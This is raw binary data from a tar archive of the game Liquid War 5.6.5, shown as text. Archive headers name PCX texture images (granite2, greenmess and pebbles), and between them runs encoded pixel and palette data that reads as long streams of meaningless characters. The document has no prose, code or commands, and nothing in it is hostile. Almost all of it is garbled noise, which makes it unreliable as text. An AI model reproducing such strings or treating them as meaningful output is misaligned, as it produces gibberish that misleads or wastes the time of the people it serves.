O',,P.H4?.3$'*@.Yvu.eQIqOSZ?.K.e.?.vZ.Z)...T5e.eok)T Ts..S4...?.tz..ZS!?.. ]/.e?e?ZI6TTk.?.iSeS1..S..A?e."?../^YZ?.e1gQ""ke..Pee.?.zIWI.ZZ...Y48WZ?.eAZvې.S)?..?@.|S.u?.A]{4z .."?q9Z.. .Z_Z..V.....u.?E^/S?..YYe.I2...A"..9....."v>?..?qY?"?o.Z"vY.6a....."5 \OI\1SuE .... wQe.?SC...e.".....S.GRyS?A#Ao=?"...t.v|e..W?y....U.?qA~e.?Y"..IS t...?w™L$e...ai??,e.??.?q..o?....ztg ^S...?3%6I .UVe.?"...Z/G...vA?9L.??zzfe.> 5..e.??OU..F 0?"...u.ieM e.K.v....r<6"Y?..?"=?. .H..?yPUH..?.DӀIY1ݹwqZSrBS.Y...?zeY[?..SI럑J?"nuqASWe.?AS..xi1&0.?6}kY"?.Ug??Yn["_"H.0.SGzoqY.&<.~..n"kzAqZ..QTO*\Y.tir.SI?YO?etYeS..?AıIj?.eH.??YWk?.Zt]AY )(}A[].?A..uztI.x..I|jS.eJ|Y?Ǟ"+^Z?"#)^tYZOZ...eA..0."S."S..WY.?tWZY?zEWe.UU. aiZ.U ZW?.H.4??"q".n"l"Zu.eZN۳.G...B6.e"ڨIG.evZ"di?Z+>SelqZYV0.? ...."AkWY s'/..?"Aw/ۢ+3||k?..)GS1Z.H...eI ?.Vij]#u)¢Y?|"..[c?....^DS..Z B \?..qkZ|Aqn?A".Z-?u?"?.?.ȶ;i e".?GJz?.ZkA)^A??_"."#kș"??"..Z8; [?..AY"..@#"unnq..v?z?I}6e.?.nc>Z?.YSzAe.nZk0n.q..?zFj6..??t/e.k)Yezn"uu0WEu..?Z.ATI..? •RS..e[IZ?eM.nePW".Z...[0SyTE?n...e %r%?ZSOY"YqZuYnnSA.n.Z)YX&^gAZ"e?.e` "ZVA?ZF?nI.u..FSzd6| .i.WZI#zn" ZnnnY.n"../g. T ^q*.K#?ZZ#."??SZ#.#?.."Yu..s?.iNz+ws?tG\.?.?Aq|Y.A"z?nbtv "..ZWEZ&."  RTm."Y?ZNZ+t?Z"SqOt.?Y?Yq?(.ȗ.?.Wi ;z?.@?v.bk*SWJ/kCSAYZnAӣ.q?Y?k6I .?.Y|"??..?..mmY=.]j[¢AYi<]i?.ܒ v?n?z\Sz..u"n.? .Uo.u"ZY f6N~*BZ r*BZ62f&Nb>J*v& Vrn BZ6 * NJf  Bzn ~ . f&B& b Z "F b> 6 6 N^> 2V  fv2 J * Vzf b :R*"^ &R" N z.  ^ fBF : 2"&v&  nb.j .  j Rv F ^:jjF .R > "n & >2^^  " F    : j .j R" : R " jZ r&JvVJ^Bf * ~>V J V zb. f6N~*BZ r2&Nb>J Vn6Jz.&&b"F>liquidwar-5.6.5/data/texture/granite2.gimp.pcx0000664000372000037200000003150413407756104020737 0ustar travistravis |c,,}          !"#$ %& ! 2 NMKQNGNK"QNK) $ )  /(= '() *+,- .//$ #  )&01 2324516789:7:6CNG  NN!ND4"M((.&PH%   ( (; 4.   <65 =>.?,3*17:@AB8tjXG!N!NLDQG!GMK.#* K (<0I )%   C=  )#(&D4 /  CEB= =A; F?-,G&H( CHNGGQQNQD23MK4 %/ KD/./$)`B= H%$ IJ% <0I<  //4.K(< F-?3 (N!G!G!N!G2,NG4M4.#(L M.$HS+*PI; C1C/(/ #/LC //M."//(2-,3N4$KNG!G!GNNG 3-3QK4GY,GK(/"L (&   P>0P %OB'0( / /$;=/$;.DKML"/ N3-,L" 4NG  !NQG3?Y-,K.N3,- = =0 P=<*(( ()&#(PJ'H " 9;/ O'CE>MQQK% (K "/ $M!,2DNQQ!G2?34D"!,-YG *%H;/ /  /%C). .= #%)*<:RDQ!N  (//#/ M!G!NQ!Q!G!G N.M ,?-YQ1=SP#S1S%/ / "L "()  $/$%   %+*$$T$   );>"D   #$ "MQ!G!NM NG G!323,@;#/ /$($//.MQNG/ )IUVWXT$ . * $%/// #(.D4KQ!G !MK!GGKDQG)I#/ . # #$/DN3Y?2Q( $&EZ[\]^_WILL" 0# // L4"$)$ L4N N!N!G ! &.N    %(/ .,F,?,=&%O 'R`a@IS08bcQKL/LD=/ 4K" "L"KQ!GN!G!NMQG"M! 232GNI%4./ (H%/"! ,27de8ESfg`&(</ K!NQ /.L$ KML /.KD4DN!N!GNL2 NA .$ $)( ."4L $ BhRP HEijJ6@63,32!D /4D.HCP1AC 4"// /.4KMQQN!GG! D G 32Q<*#%($  (( .K.L"E4 #>S>+0Q3?Y-,2!D"D.H5#PA<$/"IH/ DKMQNG!   G!M/N!QG t7 .  #/M GLNG,Q  "L3,?,3*)/4$(.4+T> LK4MQ!GGQ". <"NM[I  LD.."/  QHP %N3,M .LKMM;N!GNQD 4. "L.;A1= =". "4MNGQDL. # NK"M?3 !D". 4D 7: NGQ/" "L4DQ"*5"4)%"" L .KL =6:R'( L4DMM4".$( 4ND-F-?,N. DML"LK %R@) .LDKM!NQQ"/%J(/.(*DML4"N  =>I*/D ($ .DKMQG.4!3,3QDM . .4L#  (IBKMQM!G,32GNMK(1/ $0MDLK4.4."/ = #4MQ!G!G!G G  $=(  / #H#$/ H!" (M!2,FY? !NQ </#* "DMMK".4KL"4.)5CQN!G GG!/;CJZE#/ ./$=I% L 0A' N,Y?Q!Q'&  K.DC&K 4#NG2 2 G!N*H0cuvt; M"L ()#D!KQNK &=L! ?Y,2!QNG!SPKDKD4"L. /% *$" D0;D2 2 GQ&twxy/ ($/   ?3N!GL#)H "!G !NQN!.&#KLK4.  &>#/"4 "DL ;.N 2G2 232G2 Nz9;=C$/4G?,,?F-(4QDNQM *S5P DK4"<0C#.D4  ."."MQ4  2 2,2 2 LJZL)   $.2?kF-?-k2" 4MNMKDLNM ."4.#CI&LM" DQN!GQ.NG  ,?32 232! 1"DD/ /Q-,-FkYFYFlm-2M.LMM3knlY?,?2.4D( .LMN4,-3,3QNQ$ ) . "4 G!QNQQN!NG 2322 NM4 L!  M32 G$ N-kFYFKL; &"4 D4./  . " F?2G!NQNQNG 2 3232 2 !DH4MN2 Q4 32/D4/K2  $;(ODKD. <9R I; /. . .2lmY2G!NKQN!   2N %H%# G G.G32 !/"Q4.". $ H=0CD $#0MM4"X= $/ .  .4.L"  !kmk,G!QDQN!G 2G G !Q4/(/MN GKD"/ 3 !QM.(%I*#/." *&/DKQLG3GDL . .DK".$3lnk,GQNQNQN2 32  G! Q L; #O@'16E6-k-?2 L/$  $/#I &N , ND"  L4L" /%K-F- !Q4KQG2 2 G2 KQD<$. I:< CH>a+32G!"   ;SP% ;<K/) ;)H( MGNK.$&%(. "4"$/LN3?2GNQM4" "DMNG232   !  23."K4 L (=;/23G.$$($H+HP>0%M(/.4KMN !QK  /L.K4  MQGQKL LDM!G23232G2 NG2324"O*.D.  /*=" $#H ()5 $M$*G?2QMN 3?,34=./% 4MMK. 4MN 2  3 GQ GQ 4 HKL.C#"4"`{|7=) B)+<+J) * 3 !NN!G P>  $/ $ $.L"  4QNG23,32G GNQG4 0."DL/#/"K4"//+167: )O<+TH!NQMMN$rT///$$ L" DQN! 232 N.( /;C . /  D./.QN %'C( HCLD.# 4MQMKDK".L " %A<$ " Q!2 2 232 !NG.!QN!Q"/ D4 / MG !4;@ "4D.$ 44L" $#;*/ $$DQ!G 32 !!N nlF3/ / D4.  !"/ *S KN  M$)4K4L". / ;# <%$ /$(.L   LMNQN!N! 2GGNlnlYmk $ /  L$ /LN /#Q4(-3$ 4DL"  $(# LQP O+(L4L .QNMNG!N!G!Q,n-23-F?N4 # ".( $D #H4"?s244" H+A0'#EXh=IT*"KMKL   4MK4QNGGQkmslY-, !4  $. # .%0+0.4/ l"M4 (#CB (%:+ APLMQK // LKDDMQ 2 G!N!KGY? !Q ) $# $.4L   "LI>C/ DMKML.#&0P /D (QN&/"QM4. .".4MQ!G !ND,l3KD4C  .L  .HC=>P ;P<;%)# $  $ '2 7 /   LKQ/LNQE:;$ ". "KQN! 3?knoqsn-4.K)<4KL. //#;)(#   &H;YG(& ."$S0( L .KMD. DLQ3 19<"D4KDKMQNQG 3Fsosnsk(D-,4DQNGN" "4L.# ()#$ =Br% 2/LKL) .4"".. 2!2 OA5; D.  Q.;BP Q2?-2!GNQMKDMQQ./ LKG32!NQN!GQN LL"L" !4 "  / !?GN,2NM # D*.KK4  1: H=)/ L( 42 NQM4""L./D!-nkY3NN!G!G!Q"  .".  K!.MNGKDL /  #4G!, !D"H %"L4L  C5RVS4GQMDLAKQKD. (%$ !23,?3GMKMQ!QNQ4/"."MN#NKM!4$%$4N3GQ  )/" . O+6-?-Y3NK" >%" #%# CI%23 MQMD/) H. GFD,-Y2  /$HG QMD OCK.$"  %$( ,Y?L". 00O+1<1P PC*H/LD!NL/&0 $#* KM -?-FY!L QDL (6DL.$%$DN!QK"  CI& $ KQK( .L. P=;+RO'A$=-F?24/ ; MDL. HJ' "L" $)<#(!?M "/# ( .4" /.KL   $ (CIP$*Xr=T9 ; -k-!./  #PQNMD4""M 6@'iP%$-FY, / (I 2QKL.;. H%  . /  4 / QNK./ MD$$ $(/ )')  +=)$ 3?-2M/$(4? NQMKL  //(&>H//K4$L /  "L"DK  .M/($ ( #)%)% /#'%H( H<0 (  32G" ,? !M4  $ (/Q?3G  / /K G GQ/$(# $ (&05S=%."  )J+&%H)(&*)NL 2?3GQMDL.  ."$4N"L4DD"Q -*>I$ DG!/# "QG (#( (#(=AO*  D4./(;AIP;%;);% /  . 2!4D4L".". "44!KM4D! GD //"D. / L #%)( $(=5= .L"/%*+C*($%).QN % *$MQM4LD4""DK4 "L " "L4LD4LNQ4.$ / /4QML/%$(% I> )L.I;$ KG,!M ; %"LD4"KDKKMKD4%$LQNG!QMD$/ D4&=*)$/H**>  /";). $  ,-2N4M<#L ( LN!2, !DKDL/ 4!G!NM. $$ //  /## ( #H;( MM( ./D!32ND4/ 4M%$4G2Yk?4".M ?-?3$/(#( // $ // &#  / $#%"#.$MQ;*"  N!G!NQD"D!LL ./(.KQ-,ND".?mnsk4./ $C%/ $ / )&$// $( #".(!N;+%L4L LKQL.G 3 QDK/( .N GK4" "2kYFYL.KD. " %  L".$($     $#HSDK# 4D" LDK4".L H H"DKL//." ." G.( .4.  DQ!!M"% $ (##  ('65S."/ LDK"  .LLCAB=H$  K %= ..L."$1ge7= ( ($/$,-Y,M#%(#(%)%#$ $/.DDL)7dw] ;)H#K"   $;(< DQ M  ""/%) KN $//   =%(4NN.=STUaI/ /.#SBf‚z\1% =CH<> LD4 (/%(#$(  43YL L""%.$   #H>/ $ (C /=+ .KG 3?Y?!N/OS0AiyjC#B{'.M4DLK.$(( # (H#,  $* #-mk M. DQ!NGN!MG ,-,!".H .+S#&.4 GG!II(>>KKK:::888AAA$$$'''###&&&+++000444333CCC999===BBB777666FFFXXX ---@@@<<I xlW3)xeG5Q<|tJ;!!6T)X*xtxT8>r>lRq!֎u5f||BmJJx lST}ySE`ç3ollxbg/+mBmfm!Әxz l)X)K6plpڒo! e?!|uf|ulUxKptlT})}1S^3?pWz>zp|!|!e[Nߝ|!u!|u<<xV).z<|fu!U{4qs䙛lq6nZŦ1^2 xt |dx|U>TvTS)khq ;k{TS@8l>qrlzRwǛ2pzd!)1FS=GUqT ?pqxp3nDpx՝tBl pz3xl8rxx}WrUIT>?qx 2qxlۍZ ½Dpm!zt3WlKt|G lxGr.sqp26Ul3T8B|Պlrlȼڊ lUdsDw ztPµqx 2333rBr)€էtGIpqPtGRpxll:8zRKxlۀD?p›zxڌ!է躓pGqx pÓպRRl8 ›pq3zqu|PplUlrGp2Ud>Írlpĺpnsqڰ lٍp›2 qsU88nڧtT)3Pp͝;|lp(2z2xUGUհlrppp԰rڰTpztx2|:sUlxxpzpx›l8lBps ᅠPRUWrlx3qp|>pԺlrz ps9U|~dW>U8>l;u;!xRpDl|!lBBlz(I*tl|9orU !Bu|^RxTp< 8|lI յ|2q!ÍUlՍU|!x>z(rlpl 63U~BUrl;|!κxdpqsq2(IpڊpI°lGlr!lp蛝qב)qzlTql|!!||tzs1StIlٰ͛q2|UzՓ^> lzpxPl8Š6älzlՔlz>r>lB2 P2Bµx?z亓zǧpUpdR ppx2Վllp#rzz ypmx͛͊2xlے>l<՛|õrlp2pc txt՛t6qq6T6t6qaT z̞̾ξμԾĞƼƾĪƼƼIJԢ̦Ʋƺ´´Ė´¾ƴ¾̪̺̞侶̞ܶƺμ̺ʼƾμĺ̞²ʾºئʺº»ԮĺƶԦ¼ʼĺ̢ԾҾƼˮצ®Ú¶䲶ĺܶʼԒľĶ̺Ԣ¶ºʺĮ¼ʼʶξܾƾܶԦƺ¼¼¼¾Ƽ̶̪ܶĖ䞞liquidwar-5.6.5/data/texture/greenmess.gimp.pcx0000664000372000037200000002546013407756104021220 0ustar travistravis __,,`[PQWW e1 / 1u9,zLM+ [[+=V<= 4 ˜.1]Q7OsY,PL+h[•z}W}W;' O 1O1 /1zT9,P++‡[+7=V 4./1]iX-vKYLPM++ Õ }{}QWQ Q1O 1 1 /]u23U:yYM+Y+Y ‡ u==V 4ؘ. ./1DXKXKMP++• y;WQWQ1QO1 1/1QmɶX+Y+Y+ [{7V4ؘ. ./Q-HYsKY,zP++h[ 7{;};Q/1O1O1 1q1Q=c:-jYMMY+ ;4 ././1;{GHv^K^YPL++[+<;1e/e/1 1/1Q7k$$Q$-K^YPM++ ‡ D‰ ˜. /2{KvXKvsKLM+h+ LfQO1/1/1O'oX\_YMPh&}<#. .1/qyx{{x\^\KXMML+YB³‰eOeO1/ c8x-K:YMYMˬtE^ 7V. 1O?>xm'>$^-\vX^ P#92Y'V=.e $x2KYYLML,+lSK;µ<=#Qi}?8? ª2K^$-Y^MP,z[?YXߥ=}0:_$?ޫ:MYM+j sKYf?XKYKXLDyLjUK:=_ҥoco:$>22EGsXY>lcy?\K\'<_0iBॸ 2EGXAX?]#x3ԸM$^Ko_p8:2EXKsXMybW?¸?M:ni(r__¹i$?? LŽE£AÝbo3M3_ҹ$Bi:?$?MGhKY5W#8o?:rn_o=Wo¸$LA~3nn:n:$Y$onn=o$?$YsMYXXdy$øy?$o8__p€8?y?:LM͍G¢^3:$ooS?8$$MXYhYiZ}$oo$$8(__n_=S#y??$$MMXn3:$::Ըi'B=}?$?$sXX-$o:$:?>yB(r__<ڽ'$YXiFo::_:yCk'o6or$?$sYXhYBo:¸C'Bpo__B7'8$YsnZi$8o_:n8C'{6_nn$YY+X$io::$¸C'}go_r_ùK\_$^-Xr~ioion$C}$?^\Y+XsY>ioio¹:$CBor_¹__n$YKhoi8o\n38}B'_n_$KhhCf8:$:$>Bpr_ù\n$^KX-('?con$$$C'B6_\n:n_$n^K-->\\o$$'(r_8nKn$\^s^K_ono$$?DBor3nnKjK8_¸}SBpi3$on\\KjvKnn(r0??:W>'$:33n_\B8$?}'}D3n^Kv\\nB0r8oy:}> C>:3nU3nK^Kn_8݈_8$W'y{}3:c\^_\:ԸQCY:ԸQyC:_U:n3\n\n'?$WO8?}:3U3$:^Kn_n:YD?,uDi>y3n:\n\n\3$oc,c,D9? 'i3ž3$:$:$YY+ˆݸ?,y,P,l$?Cc033\Yn3n\n3nDzLM,,?$>o\\žҞ\:$ԍMD,/QqD,,ly¸D>in\n\3n$nn\:$,L?YX,,$::nUÞn_?MMYlq,lDul,3^:$$3^? LMLP,MPlqu*Mn:\33:2,MYK+qq ,:\3\P$^ux,MYMP]q 9q9L:\\\^^Yz 2x LMY-qq @M\nD,P+Y\ ^ 2x LMLM,9qq9 9PM:nUY ulLXMLPqq :PD,+Y ^PLMMPqq q,*M\:3YY+MGLLMPq ™wPMY\n,DP^YGLLM,q @w,\\YhMMLLLP*Pw  wM\P,]P+hjLLM,ř wP\LMn^sMLMGLL*w*M\MP,D MMLP*P*w] ™w,PM$Y\MYŽMYXLM*wq wqMs+XY>LYXLL** ™DuD$MYX Y$n9,MXYM,*+P*™w1D$DMXLMY+?DlXYLL+*wDe'$MXY\YKGx xLPL*++wu'Q';LMD' ly 2EMPL*L+wSWQ MYM\ys 2x LPL++w* 4VmWLMyLLPLPL*LǙSVSWQ;,Ys$\x LPLP*+h1 S.MM2'xLPLP*+*L*Pw5VSu,MXX 2lx> LPL*+L+5 SQlMYMDx?L*P+MLY+*­V ;X+XMx22x LPLPMP+*O .We,LMXMQ GLPLP+*M+254 QXXM8Dx GMLP*++P+} QDPM+YQGLLMMP+LPL+'V5 . PLMMD2 GMMI+[+>S ؘ. QDMPɶxGGMYM+[hM} 1DPM] 2 GYY+[+[LB /Ouzz'YY+h[+754 ؘ QD]z] ?2 L,YhXh¾h[+=< . O OzD''?YXKsK¾h[[+V ؘ /1]>$MLPMss^h ++[ +C=V˜ؘ. /1>?޽LPLYXsKsh[ P;< Ę 1]>?:LPM\^s^ [[ C= 嘒 /1q],LYXKsKhK +'̒ Ø ˜ /q1]o:$M,PMsY^ h[D7嘒ؘ /1 G?CD,PMhXhs^ss [[ ؘ 11,:YYMPLMYXK[hP>=ژ 1 1?? P,PLXs^^j[m=Vʘ //1MXYL,MXsXv^^&+Y=#SS 1C$o? YPLshK^Kj‡•7˜./ 1 @{$$MYXYLY㺡j&IzšS . 11e;$?sLPLsKs^) Ih m 1տ$XL$XKsLMº)O'><S#WQ1u1W7$K\KYLXsvy] {7a7p /1qtR7k8G?s-YMLPM)^PA7Ú€{uQ1Q1um7¿6o-sKL+Y+ֺ^Q7apFmeO@†ʦFkX-s^LPMYKIOy<¦BpSS{a¿\KYY^K)^P];, 7=Bp=5gkX\YMsY+);Q'Gf 8GXs\KWQOQeQ<<ap=f\\玫G\KyeQWQ}Z>\XAGE F~Zs- "`~Z<€W;kBar_6<æӚ77½\sv-Xx"`Z7S;e}kor<m=?sKK "`}B(KšӦ<==8\v-XE‘`ZК7#WpnB<Ú<=<7C ?:\Kv΍GLZak':_rpӚ$\K£8"~aB' gZZ<Bk½ >$r6ka7>:\\KLoZ<pBpCsKYр<C6pn\^\^KEa=i$'>D$s-K6{CkC6:_:\\\s΍£G6<<BB' sYs8B7BC'C¿iҞ\sK x6oa7a$C޽ ?-K^$¿C'6_nr$^KYG>6Bap>:C -sCk6CCi6:nn^Mook0_\iGK^\$'6'C6r\\^ o86aX_$i½ YKs?CCC'C6r:n\K^\8o6N_ok'}\ i6C¿6onn\K^\orkA\8ҹkQ޽??'C'''C>$nn_\\8r8N_o;WQ,?yCBk'i6o\\\onr8o_Ҍ}7W,L,DϽ'>8$¡n\:?8$8o“r83:D.·/qlqlC'8$_\á:\$ro6ѡҌ$DlulDC , $\\$? :no_!$÷q,D$?:$ná?'>\::$_o6rnK>e/qq,DP$?$\n>$\:^\$o6n\$ulu9D $$nK>½?M$:$s8u·qq,P$?$?nn3_LM?M:8y/qP?$:\MLl?\_?X_QutJqqP$:\Y\$>$?Gyu/q9lq:\YMYY\$?$$yDuJ/q*P?\\YY\C>$?,]q1/qq,:Y\XY\?$Mu/J/qP*YY^Ys\?$?LPq /quwPYYXǣYY'?MMqJJqP*?$\Ys2 ?L,q/J/qLYYXYX x'>MM*JJwP?YYXsMXL2u29,,q/JqY\sXXY\L2lMԍMLwJJw?YsMXY9¬29,l,qq, XYXYMXY\L99MLML]JJ w>?$YYMXYY99,wřřw,?\sYXYYXYì9l , w™wC$YMXXY,ì9,,]wwř>XYM,{2YX\XYYɎ99lulřwwϽ$LYYMCbXYYM9Ĭ9,,w*ww ?\DW7X\Y ¬299lw™*wl>';QD 'YYEl929,,*Pw**>S';fZ{XYMu¬929lu,PPwwwuWSWTmAYM9@qu99,wP**Q7VSW;;'޷t9¬u,PP*++WVSWSW;Qe72M,ul9@99l,P***e 5W;We;mbmxLD/uql9l,l9,,,P+eVSW;Q}eWRlqul,,PLP*****%5 5 SW;OWeStì9,Ll,L,z**mV SW;QWS—qu9uqlL*L,*LP**** 4VSWeQWḙ쪷9l9PlLPLP,P**+lW SSe;QOSRmuqu,u,,,PL*+***# 4 S QOWSSe9ul,lP*,*MPD*Q O WWQQ}'u9lLPLPM****e’ 4 uQe;WDQ9lPLLLLM[O W D# zQelLPh+**̒ 4O 1Q}# Du,*L*M+ [[*h[W#W O1Qy;#/9q9l,LMM [+*,̒ 4.Qc^$u1l,LP*+[[[+h[+eSW / 1O1yiPV9,l,LL+ [h*,=SV 4 4 ۸E9l,L*h[[[#S# 1 O1yCQ l,l,PLM+þ[[VVÒ4 4˜ Q,XL,PL++ [ d\Lh0D[4h?d91'X0u'Nz-ȼ\yYm,zaTcw4^HzWe5Twf7rdΰ~R\bVp$_wouG{%v-;_L+$l)W]4Xld@[Rxm^],dPubCyOͻ|yZO{B$kP=|Dnr\=1A_QSHWRlHvGkxY$tGpܽdTw>yk1g]{/y=[ahw!lKA=]|KYE1q~tpZ~p2rdLv\bj4žlތat#\څLu}lpKSoٯ|LpfpWk~!\W5ą\`z{~^p~r}`vqFcqQiz<ʂ\U~l@[\~TʶQvAYgy扥F:Qln~DDau*vf4־lb\4sp2yBՔ4T_HuHDd}tpȽKkk3ZT2QYH%\VxZ\\l6h1s\Z_d}d}NWrlŅvĀaz~nB!zdb,|d^vPܶ|GNliquidwar-5.6.5/data/texture/pebbles.gimp.pcx0000664000372000037200000003043013407756104020635 0ustar travistravis __,,`QYrUQ@@ VU*vF eao=zt~B=u2դ7S5:V8 eaY Y 5++ $KJqK!5:aQ@rY EVaUsAeGfq!f(ݖatK۶JW5V:+ a ( +K!Wq!•aY~E:YNw |Eea=o?̭2)~E]:S/JJSV] ]Y() YηJJهWJ!/ a:Var5r |)l!zk)$trY2:SJS2(E(a +  /JK/22J8]:5( wF!~ErtJ2۶S/K7]JJ:YEU G)+a]aη)؜!2/27teVVZV+  | ++WEr)t!qɶK2f2/E ~5()tEJSfKJa]7a2SV5M(Y+Z+ҳ (t!ɕp]7r7]:,a))۷]tr57]J527]265]Z]:S~o Ya 5AU !S!^66VM zZ85Zt7trt5JG17rW!)oS)YE aaa IIA25/6r:IwQSV5J]QBP5!Ȑot!a  E YQ EW!WJ]a@FIF!!2VJ]2]tr78W!$!!~G rVq/5!f7:eЬ;"dq¶SeQ]S5:e]@2S5!!Wٗ5q!ҜǷ vY25/ aS2) 9+5J7r1@:V2t@]:V!!!q!a~ȧIQuS!W7roY)UA~e¾5W~2R6]@t:77!qœ!Ҝ! )u8Wq!!WO:rErU d;q/?/k:e7@7][V֮!!2!ɜ5d+9`GO:EE  Fگh77yK/1V:r@VqqW!fǶfqɮ5aY id$kt!)6wO>+eQ+dv F WJ/22J2@Q]>PR55 Z!q!qɶW w| r6(57P=N[9QA RYr2S]!5VQRudQN U[uZaaZ/Ze)bse(U VI塖C`8da@6UUS SS]@FAevU:d da) )~Zp•ҳ|IF)6V5:(¦PO*"`VY@IORS:6A:5V aYr:U| diedi )Yr(S$t]$q) ; r(l:5d8]o e@ߦ,P]1(V a5:aYtY UN|d+i ed75/Kٕ!Z2 ( I YE+Y:Y@ i O6216XV5VrYQeIdi v[eY WJWZ]~B(4;+ea+5:]EYa]YBI Rrfo(Y VeYr:E Q £dE++SJ2tloEI)9 :d:Erte (Il))rttYaYYa2eQadV5e::6|() FCU5e:2(l5+V:5(EUl(YaE~zq:eYrEr )v5óQFYE]2@E(BZa@5aX=OA) ai9:aۜrarUEad+ޖ:Eta9 Q:7@t޶2|4ooBE)]aE()]lkiv"+5ɍa2: ]UaY5Sޖ~VYGXO:"iu9eYrRRJ+÷krUEtr] +ϵ"s95WqJdS5]r:YQa52P2J5t(1aSFv[DueQEARdI=4atn](a:25+)Ϭ*cCd55 :S@Y5a]5W57:[:ER)oɶ!tAQVJ5+Vd(D<DZ¶))YQdS(PAV2]/S2YSJAdeQe: ;h )!k)(8dV5d5+Z ;D#m9a5rUaV:(ݞV51Rr!J2''F[uV2eF i +]l֗aY::a5V {_gD" tZ:(Y27(]V5J61t2SFUiF@:Qv] ;˽&deaBVWSaY(IFv:d5V:8cg_" ttPd +J5WJƗtRr¶)+ T@3\iF/7 Cvi 7Z+smx&¯vUFכ e Ɨ/KSf/2/17$k F33x;F @s'\jF A@u5A>[]qF iF2  E J//7״y؜h bj; }s;F” 5d:|A*e$2Zd;id9/KfoEIE5ÕJK16172W!ҷ ;}bi; "F&9v NQV:]A''x:zyd aYa a V2)e5W/KJ2/J71f5!8Ě|  eƾ99dEߟS]7>|s\ e]? 5aaY !/5 a!S7112J17/Wa  id+)JONCFQ]~]Z!q8a++/22JJיXr2SW! EI e) Z!5W5ݻs@/ַ$Ҝ Z58 ٗ85JtPt/5!5a)w|U |Ya Y55WqJWrwIA t/֮!kq!t(rٶ7J؞1]5WzZ e9d;| iEWJW 5UIU):5nq!ɜ!Zat5l6Et]S7]@2SJ!Z d )EZ!SJ:ai;)V!(k̮qWf]]$~n)SJ:]@]21՞t:V:l)¶Z!S d+C&h  27@]8YaE8ۮaZ!!5)$ضp~lz2:S2@rEߟR]S]E(ZKJdi "++taAY++)@Pra+ d E)Y(2]27]5 @r]]RNYRora]Z]և2 9 ; 7IR@t(LP8+i+i ( E)t2K! )޳eE ߵ(Y5!$K^Srh ' ee(Yow8Yi EYkfJ YEE@]erEYK•](;*T' FQ[>rߞ+5Go|6@e ;F Fh( )Ka) IEQ + e:+ pK ;"*&xA @CvQ:UEEaZlOI–iei xFih I)kpKK/Laa55ZaZKJj" | @Qޖr7(~GXߟ+&A }TFh(~EtKH1  da 5!82z7fdЬ ~o4,EYz~E27PBo( Fx*h;~)/fKar  i EYĮ+J/)3~)(a +Z+ )k+W]26״G(F-\ EE³]?/!5 ]9 h Ya! E 2SJ!ó I Y޷a)Y+5 ]aZ8S@]·Y Ł3 i)k( /1 .1! +d9E| ) w YaZ/]B5(4(EaY()Y(E)a!Z]S7r2SVZa FT4&i Y( ?$SZe ai  | & ;&|)Z̵Gad5ij)] ηE )+a51]]aah F(2!K/ηYE a Fš z+5 )5Z!15JEZ;hiaaZ!$2]YhwT*x&“ѽh f )Y)aZYd+5+ a]JZSY5l )FYa5+Z//]4z)EwT “C&š 7ض!k)( )Z+k)Y]]lR/]e! FE  !/!Z)) A*m*њ| K/] )Y Z GG~25Y7S72Z!A)8 KJ!)((5d vQ[*{IZZa~() EYEY+(~a )(G4~J:]7ft)INUaZ!ae֍/!)Eka:de:d5w +Zn]5+~5 (~5a85S]2IPwZ  !//K۶aYSZaY B)+iY)(kaaoG)5Z5WV2@eQlk5a7t)+Z:])tS]22Y¶ de aa E4+]J]E6!Se:7t֮5e]f7Kf():)~z!f2f5 F"a+ (a Z(Z)k³5ROf!tarEZ]ff7Zr6~!f%Wktk+i ;Y45Z)aZ]E(t/R2): ]f e]27K 8~pǮ^!25] Fh] 5 )EZ!]trqf+de i+5a)F e]2KpK/!fBy!!$!eU !+5+!!e q!(A 9  e(AC:۶^fft/Hq!$k$^$ɶZ!YwZZ55Z:af+VQdkSihF h>x@:۶pKKK/Kɜ!kz!]wNö8YS[CQY2@[9F EV*wFv7/•KffKW!ZE$!7AUV:7]Yt5!)Er+ۣCcsFVQvUhF wA+Q]Q@]//2֍!ZYk(Jt޳Z]t)7222:5[@c N>2@D C UV:7d[V¶/7Z/^a)~WY]S: S])t]a!Se>c>AV[F FUe5a]2:d5VVJ:]pqahk877!5W5Jr2aS7V r!2VuF (F Z5:]7t1:d]7SVY)(ʹW USVJ]]7]5W5Jr]]VS]2Z/:eQr+W>eUwAeVJOSJ:A>EY:e)Wq!5d: UaZ!J!J])2W!Z/e:5ɍW8aFUEAJS2.6:5da6A£ ed@!q!]Y:eQY@: BkSfǜZ!85722/af2aUrt/2KJSY w[Z]tYd5):EG~qta5Z55]!7EU)rqrYQdr]K1!E sACFU  ) :Yr]W8]AFv:tS5q$žaa!5/Zft~UfkaeY:(r2:5JK6/¶ah sx&Fv &U ]rtwAU@eZ5q72۶2taZ ۶>sCU!Qe+a:J/W5/֕&|*FF a:1H7^Ye58⮶aV]]2S:a5[sx E]ZQ:55S//⹜]aνs{jC[m'FQa᭍[:u+֜2Wa]Y)Z2VCLUEsa72/J/q!i xU%KA 8+:]t]W!W!$]۶]@Qe@CwU*e:a1EpKWs|sFQ&sJWK㇕FUF( ea]a7tfKּ®!ɗ1]QUQ£CIQa:t]//fK] Q@&ŏ)!/KUCa22t1ռ㜍qٶ)t:e@Q L* I@]17Wq⍮!]F iQ:e]:4E/KpW Ea2]/!W]l(@:VQvA@vݻPeYo.!֜!WqW5E :: 1׭J FF]Y7Y7]2//K۶oEE:[]@>sI:ޖS/•qZ)CeV Zz1H¶wAE UE71]272!+~ e@7]QV@FC w:J ط]S!f/!aU @:V:9+ fB/1])FAޖ(Zat2SS]r(E+) Q2]SQ vFQJ+WJf2E(FvV:: 57.k a(IEA e85S55]6XvAQ@JV5+Yw;eU5+!7//aheQZ!fnf/~ ;F[J5J5]ONU> V/JV@|AE +5)]!k?J÷ wFQ[aUR6)JՎ/++de:aS2]]JS7E7:]|osֶSZJ  I:V+7]!! :e@EU)aZ/SؤJ!Z+dhAV5S72/2/58wI:p72]µV+Q)k]/!W/J5!Y : ]2•Z+ II)@dVS@172W5a)e/7 hV~B6Wq•qWq+ehedVd5d)2p$5  a/76OB2KJ22Yɶy75 ed=t!Jq!S۶id:d5dez/HBn2W!+dV:V5rXK/Wqf)!5ZJ/Z]5d585aB(!2Y 99e@:& (zKWJd9i:V5 SJ]r1Kkz!)Ee VdVf!̸/ evU@:]U&s] H9iv eY1]$~GJq2k~Ea)dVZWJ!$q)U e@Qd: {Tp? nK/ TJN)&'T*$*wntA::zJL?&"d^d+T:4gJI?A22j:D# 2.''Z*$F)$2nMJA63UFBL&,LFDaNK5.6 @.4_><:),*?"$Z==Z67VNPF:9jD8`FBtRJM>;!~|zYSfdvtVTzFL 